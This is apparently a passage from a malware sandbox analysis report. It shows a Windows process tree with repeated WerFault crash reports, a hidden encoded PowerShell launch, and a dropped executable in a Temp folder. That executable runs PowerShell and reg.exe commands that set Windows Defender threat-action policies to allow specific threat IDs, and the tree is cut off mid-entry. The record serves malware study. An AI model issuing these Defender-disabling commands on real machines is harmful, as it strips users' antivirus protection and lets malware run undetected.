                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1800 -ip 1800
                                                                  1⤵
                                                                    PID:564
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1800 -ip 1800
                                                                    1⤵
                                                                      PID:2712
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1800 -ip 1800
                                                                      1⤵
                                                                        PID:1700
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1800 -ip 1800
                                                                        1⤵
                                                                          PID:380
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1800 -ip 1800
                                                                          1⤵
                                                                            PID:2404
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1800 -ip 1800
                                                                            1⤵
                                                                              PID:1460
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1800 -ip 1800
                                                                              1⤵
                                                                                PID:3492
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 1800 -ip 1800
                                                                                1⤵
                                                                                  PID:3752
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1800 -ip 1800
                                                                                  1⤵
                                                                                    PID:4524
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1800 -ip 1800
                                                                                    1⤵
                                                                                      PID:3212
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1800 -ip 1800
                                                                                      1⤵
                                                                                        PID:4308
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1800 -ip 1800
                                                                                        1⤵
                                                                                          PID:4500
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1800 -ip 1800
                                                                                          1⤵
                                                                                            PID:4844
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1800 -ip 1800
                                                                                            1⤵
                                                                                              PID:3996
                                                                                            • C:\Windows\System32\rundll32.exe
                                                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                              1⤵
                                                                                                PID:2100
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 1800 -ip 1800
                                                                                                1⤵
                                                                                                  PID:4452
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 1800 -ip 1800
                                                                                                  1⤵
                                                                                                    PID:3000
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 1800 -ip 1800
                                                                                                    1⤵
                                                                                                      PID:2180
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 1800 -ip 1800
                                                                                                      1⤵
                                                                                                        PID:2688
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 732 -p 1800 -ip 1800
                                                                                                        1⤵
                                                                                                          PID:4000
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 1800 -ip 1800
                                                                                                          1⤵
                                                                                                            PID:1496
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 1800 -ip 1800
                                                                                                            1⤵
                                                                                                              PID:4380
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 1800 -ip 1800
                                                                                                              1⤵
                                                                                                                PID:1340
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 1800 -ip 1800
                                                                                                                1⤵
                                                                                                                  PID:4112
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 1800 -ip 1800
                                                                                                                  1⤵
                                                                                                                    PID:1484
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 1800 -ip 1800
                                                                                                                    1⤵
                                                                                                                      PID:3236
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 1800 -ip 1800
                                                                                                                      1⤵
                                                                                                                        PID:4620
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 1800 -ip 1800
                                                                                                                        1⤵
                                                                                                                          PID:3108
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 1800 -ip 1800
                                                                                                                          1⤵
                                                                                                                            PID:1968
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 1800 -ip 1800
                                                                                                                            1⤵
                                                                                                                              PID:2752
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 1800 -ip 1800
                                                                                                                              1⤵
                                                                                                                                PID:1520
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 1800 -ip 1800
                                                                                                                                1⤵
                                                                                                                                  PID:1468
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 1800 -ip 1800
                                                                                                                                  1⤵
                                                                                                                                    PID:3044
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 1800 -ip 1800
                                                                                                                                    1⤵
                                                                                                                                      PID:2704
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 1800 -ip 1800
                                                                                                                                      1⤵
                                                                                                                                        PID:8
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 1800 -ip 1800
                                                                                                                                        1⤵
                                                                                                                                          PID:2516
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 1800 -ip 1800
                                                                                                                                          1⤵
                                                                                                                                            PID:4084
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 1800 -ip 1800
                                                                                                                                            1⤵
                                                                                                                                              PID:1040
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                              1⤵
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:5088
                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                2⤵
                                                                                                                                                  PID:2232
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 1800 -ip 1800
                                                                                                                                                1⤵
                                                                                                                                                  PID:5076
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 836 -p 1800 -ip 1800
                                                                                                                                                  1⤵
                                                                                                                                                    PID:1740
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 1800 -ip 1800
                                                                                                                                                    1⤵
                                                                                                                                                      PID:1520
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 1800 -ip 1800
                                                                                                                                                      1⤵
                                                                                                                                                        PID:3852
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 1800 -ip 1800
                                                                                                                                                        1⤵
                                                                                                                                                          PID:3108
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 1800 -ip 1800
                                                                                                                                                          1⤵
                                                                                                                                                            PID:4892
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 1800 -ip 1800
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1268
                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                              1⤵
                                                                                                                                                                PID:4100
                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5012
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 1800 -ip 1800
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:4624
                                                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2400
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 1800 -ip 1800
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:4776
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 1800 -ip 1800
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:4472
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 1800 -ip 1800
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:3928
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 1800 -ip 1800
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:3336
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 1800 -ip 1800
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:4816
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 1800 -ip 1800
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4208
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 1800 -ip 1800
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:4032
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 1800 -ip 1800
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:2952
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 1800 -ip 1800
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:4908
                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 1800 -ip 1800
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:3088
                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 1800 -ip 1800
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:4436
                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 1800 -ip 1800
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:4592
                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 816 -p 1800 -ip 1800
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:1668
                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 1800 -ip 1800
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:2276
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 1800 -ip 1800
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:3592
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 868 -p 1800 -ip 1800
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:4580
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 844 -p 1800 -ip 1800
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:2104
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 3996 -ip 3996
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:4032
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 3996 -ip 3996
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:1196
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy\vZixTOWAjXczfOR\Fkxufiu.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy\vZixTOWAjXczfOR\Fkxufiu.exe bt /site_id 757674 /S
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            PID:1080
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                              PID:4624
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:2684
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:3052
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:4504
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2616
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:4720
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:1012
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4472
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5112
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3080
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1784
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1808
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:632
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4104
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:3536
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:4280
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1740
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:4048
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:3456
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:3496
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:3636
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:3560
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:4932
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:4548
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:4336
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
